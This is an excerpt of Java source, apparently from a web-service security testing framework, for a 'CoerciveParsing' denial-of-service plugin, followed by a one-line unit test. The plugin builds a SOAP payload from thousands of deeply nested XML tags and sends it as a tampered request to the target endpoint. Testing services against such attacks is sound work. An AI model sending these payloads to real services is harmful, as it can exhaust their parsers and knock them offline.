CoerciveParsing extends AbstractDosPlugin { @Override public void createTamperedRequest() { String elementNameOpen = "<" + optionTag.getValue() + ">"; String elementNameClose = "</" + optionTag.getValue() + ">"; StringBuilder sb = new StringBuilder(); for ( int i = 0; i < optionNumberTags.getValue(); i++ ) { sb.append( elementNameOpen ); } for ( int i = 0; i < optionNumberTags.getValue(); i++ ) { sb.append( elementNameClose ); } String soapMessage = this.getOptionTextAreaSoapMessage().getValue(); String soapMessageFinal = this.getOptionTextAreaSoapMessage().replacePlaceholderWithPayload( soapMessage, sb.toString() ); Map<String, String> httpHeaderMap = new HashMap<String, String>(); for ( Map.Entry<String, String> entry : getOriginalRequestHeaderFields().entrySet() ) { httpHeaderMap.put( entry.getKey(), entry.getValue() ); } this.setTamperedRequestObject( httpHeaderMap, getOriginalRequest().getEndpoint(), soapMessageFinal ); }  @Override void initializeDosPlugin(); AbstractOptionInteger getOptionNumberTags(); OptionSimpleVarchar getOptionTag(); @Override PayloadPosition getPayloadPosition(); void initData(); @Override void createTamperedRequest();  }
@Test public void testCreateTamperedRequest() { t.testCreateTamperedRequest( attackPlugin ); }